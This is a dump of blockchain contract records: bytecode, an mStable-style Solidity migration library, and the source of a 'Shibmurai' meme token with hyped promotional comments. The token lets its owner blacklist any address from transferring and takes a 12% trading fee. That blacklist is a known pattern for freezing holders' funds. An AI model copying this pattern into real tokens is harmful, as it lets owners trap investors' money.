0191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 804 |
0xda681d409319b1f4122b1402c8b5cd4baedf9001 | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
pragma abicoder v2;
interface MassetStructs {
struct BassetPersonal {
// Address of the bAsset
address addr;
// Address of the bAsset
address integrator;
// An ERC20 can charge transfer fee, for example USDT, DGX tokens.
bool hasTxFee; // takes a byte in storage
// Status of the bAsset
BassetStatus status;
}
struct BassetData {
// 1 Basset * ratio / ratioScale == x Masset (relative value)
// If ratio == 10e8 then 1 bAsset = 10 mAssets
// A ratio is divised as 10^(18-tokenDecimals) * measurementMultiple(relative value of 1 base unit)
uint128 ratio;
// Amount of the Basset that is held in Collateral
uint128 vaultBalance;
}
// Status of the Basset - has it broken its peg?
enum BassetStatus {
Default,
Normal,
BrokenBelowPeg,
BrokenAbovePeg,
Blacklisted,
Liquidating,
Liquidated,
Failed
}
struct BasketState {
bool undergoingRecol;
bool failed;
}
struct InvariantConfig {
uint256 a;
WeightLimits limits;
}
struct WeightLimits {
uint128 min;
uint128 max;
}
struct AmpData {
uint64 initialA;
uint64 targetA;
uint64 rampStartTime;
uint64 rampEndTime;
}
}
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
struct Basket {
Basset[] bassets;
uint8 maxBassets;
bool undergoingRecol;
bool failed;
uint256 collateralisationRatio;
}
interface IBasketManager {
function getBassetIntegrator(address _bAsset)
external
view
returns (address integrator);
function getBasket()
external
view
returns (Basket memory b);
}
struct Basset {
address addr;
BassetStatus status;
bool isTransferFeeCharged;
uint256 ratio;
uint256 maxWeight;
uint256 vaultBalance;
}
/** @dev Status of the Basset - has it broken its peg? */
enum BassetStatus {
Default,
Normal,
BrokenBelowPeg,
BrokenAbovePeg,
Blacklisted,
Liquidating,
Liquidated,
Failed
}
library Migrator {
function upgrade(
IBasketManager basketManager,
MassetStructs.BassetPersonal[] storage bAssetPersonal,
MassetStructs.BassetData[] storage bAssetData,
mapping(address => uint8) storage bAssetIndexes
) external {
Basket memory importedBasket = basketManager.getBasket();
uint256 len = importedBasket.bassets.length;
uint256[] memory scaledVaultBalances = new uint[](len);
uint256 maxScaledVaultBalance;
for (uint8 i = 0; i < len; i++) {
Basset memory bAsset = importedBasket.bassets[i];
address bAssetAddress = bAsset.addr;
bAssetIndexes[bAssetAddress] = i;
address integratorAddress = basketManager.getBassetIntegrator(bAssetAddress);
bAssetPersonal.push(
MassetStructs.BassetPersonal({
addr: bAssetAddress,
integrator: integratorAddress,
hasTxFee: false,
status: MassetStructs.BassetStatus.Normal
})
);
uint128 ratio = SafeCast.toUint128(bAsset.ratio);
uint128 vaultBalance = SafeCast.toUint128(bAsset.vaultBalance);
bAssetData.push(
MassetStructs.BassetData({ ratio: ratio, vaultBalance: vaultBalance })
);
// caclulate scaled vault bAsset balance and totoal vault balance
uint128 scaledVaultBalance = (vaultBalance * ratio) / 1e8;
scaledVaultBalances[i] = scaledVaultBalance;
maxScaledVaultBalance += scaledVaultBalance;
}
// Check each bAsset is under 25.01% weight
uint256 maxWeight = 2501;
if(len == 3){
maxWeight = 3334;
} else if (len != 4){
revert("Invalid length");
}
maxScaledVaultBalance = maxScaledVaultBalance * 2501 / 10000;
for (uint8 i = 0; i < len; i++) {
require(scaledVaultBalances[i] < maxScaledVaultBalance, "imbalanced");
}
}
} | 0x73da681d409319b1f4122b1402c8b5cd4baedf900130146080604052600436106100355760003560e01c80637fe405b71461003a575b600080fd5b81801561004657600080fd5b5061005a6100553660046106ab565b61005c565b005b6000846001600160a01b031663cd6ef2b06040518163ffffffff1660e01b815260040160006040518083038186803b15801561009757600080fd5b505afa1580156100ab573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100d391908101906106e5565b80515190915060008167ffffffffffffffff81111561010257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561012b578160200160208202803683370190505b5090506000805b838160ff16101561046257600085600001518260ff168151811061016657634e487b7160e01b600052603260045260246000fd5b60209081029190910181015180516001600160a01b038082166000908152938b90526040808520805460ff191660ff891617905551636254051560e11b8152929450909291908d169063c4a80a2a906101c39085906004016107a4565b60206040518083038186803b1580156101db57600080fd5b505afa1580156101ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102139190610688565b90508a6040518060800160405280846001600160a01b03168152602001836001600160a01b031681526020016000151581526020016001600781111561026957634e487b7160e01b600052602160045260246000fd5b90528154600181810184556000938452602093849020835160029093020180546001600160a01b039384166001600160a01b031991821617825594840151918101805460408601511515600160a01b0260ff60a01b19949095169616959095179190911691909117808455606083015192939192919060ff60a81b1916600160a81b83600781111561030b57634e487b7160e01b600052602160045260246000fd5b0217905550505060006103218460600151610531565b905060006103328560a00151610531565b90508b6040518060400160405280846001600160801b03168152602001836001600160801b03168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a8154816001600160801b0302191690836001600160801b0316021790555060208201518160000160106101000a8154816001600160801b0302191690836001600160801b03160217905550505060006305f5e10083836103f091906108c7565b6103fa919061088d565b9050806001600160801b0316898860ff168151811061042957634e487b7160e01b600052603260045260246000fd5b60209081029190910101526104476001600160801b03821689610875565b9750505050505050808061045a90610915565b915050610132565b506109c560038414156104785750610d066104a1565b836004146104a15760405162461bcd60e51b8152600401610498906107b8565b60405180910390fd5b6127106104b0836109c56108f6565b6104ba91906108b3565b915060005b848160ff1610156105255782848260ff16815181106104ee57634e487b7160e01b600052603260045260246000fd5b6020026020010151106105135760405162461bcd60e51b8152600401610498906107e0565b8061051d81610915565b9150506104bf565b50505050505050505050565b6000600160801b82106105565760405162461bcd60e51b815260040161049890610804565b50805b919050565b600082601f83011261056e578081fd5b8151602067ffffffffffffffff8083111561058b5761058b610961565b610598828385020161084b565b8381528281019086840160c0808702890186018a10156105b6578788fd5b875b878110156106495781838c0312156105ce578889fd5b6040805183810181811089821117156105e9576105e9610961565b825284516105f681610977565b8152610603858a01610668565b89820152610612828601610658565b91810191909152606084810151908201526080808501519082015260a08085015190820152855293860193918101916001016105b8565b50919998505050505050505050565b8051801515811461055957600080fd5b80516008811061055957600080fd5b805160ff8116811461055957600080fd5b600060208284031215610699578081fd5b81516106a481610977565b9392505050565b600080600080608085870312156106c0578283fd5b84356106cb81610977565b966020860135965060408601359560600135945092505050565b6000602082840312156106f6578081fd5b815167ffffffffffffffff8082111561070d578283fd5b9083019060a08286031215610720578283fd5b60405160a08101818110838211171561073b5761073b610961565b60405282518281111561074c578485fd5b6107588782860161055e565b82525061076760208401610677565b602082015261077860408401610658565b604082015261078960608401610658565b60608201526080830151608082015280935050505092915050565b6001600160a01b0391909116815260200190565b6020808252600e908201526d092dcecc2d8d2c840d8cadccee8d60931b604082015260600190565b6020808252600a90820152691a5b58985b185b98d95960b21b604082015260600190565b60208082526027908201527f53616665436173743a2076616c756520646f65736e27742066697420696e20316040820152663238206269747360c81b606082015260800190565b60405181810167ffffffffffffffff8111828210171561086d5761086d610961565b604052919050565b6000821982111561088857610888610935565b500190565b60006001600160801b03808416806108a7576108a761094b565b92169190910492915050565b6000826108c2576108c261094b565b500490565b60006001600160801b03808316818516818304811182151516156108ed576108ed610935565b02949350505050565b600081600019048311821515161561091057610910610935565b500290565b600060ff821660ff81141561092c5761092c610935565b60010192915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461098c57600080fd5b5056fea26469706673582212206f14474b98177b143d2684cfa597e11c661ab3e4c0b2092ba82f5199681aaad464736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 805 |
0xbfffc33c40e3d4806f65ba5d079ace232009bac9 | /*
Shibmurai brings you the most splendid meme token that you may find in cryptocurrency history.
Shibas are known for their spirited personality, foxy features and alert, confident behaviour.
Today they serve primarily not only as companion dogs but also widely considered as spiritual animals in contemporary Japan and the United States.
Samurai, noble warriors in ancient Japan.
It was supposed to be a stoic warrior who followed an unwritten code of conduct of Bushido, which held bravery, honour, and personal loyalty above life itself;
ritual suicide by disembowelment was institutionalized as a respected alternative to dishonour or defeat.
Everything about shiba tells you it is the ideal dog of each recognized breed; everything about samurai tells you it is the most glorious job that you can find in human history.
By combining the spirited animal Shiba and the glorious Samurai together, Shibmurai brings you the most splendid meme token that you may find in cryptocurrency history.
Tax: 12%
4% Reflection
5% Token burn
2% Dev
1% Marketing
https://shibmurai.com/
https://t.me/shibmuraitoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Shibmurai is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Shibmurai";
string private constant _symbol = "Shibmurai";
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.mul(5).div(12);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b506040805180820182526009815268536869626d7572616960b81b602082015290516101aa9190611858565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce3660046118d2565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50670de0b6b3a76400005b6040519081526020016101aa565b34801561021457600080fd5b506101d36102233660046118fe565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b50610170610257366004611955565b610567565b34801561026857600080fd5b506101d3610277366004611a1a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b0366004611a1a565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e5366004611a1a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e366004611a1a565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b366004611a1a565b6106dd565b34801561038c57600080fd5b506101d361039b3660046118d2565b610757565b3480156103ac57600080fd5b506101706103bb366004611955565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f0366004611a1a565b610934565b34801561040157600080fd5b50610170610410366004611a1a565b61097f565b34801561042157600080fd5b506101fa610430366004611a37565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611a70565b610bda565b34801561048757600080fd5b50610170610496366004611a1a565b610c17565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611a89565b60405180910390fd5b60006104d930610685565b90506104e481610caf565b50565b60006104f4338484610e29565b5060015b92915050565b600061050b848484610f4d565b61055d843361055885604051806060016040528060288152602001611c04602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611311565b610e29565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611a89565b60005b81518110156105f9576000600560008484815181106105b5576105b5611abe565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611aea565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611a89565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f89061134b565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611a89565b6106db60006113cf565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611a89565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4d565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611a89565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611abe565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611abe565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611abe565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611aea565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611a89565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d81905561092f9060b4611b05565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c590611a89565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c590611a89565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611b1d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611b1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611b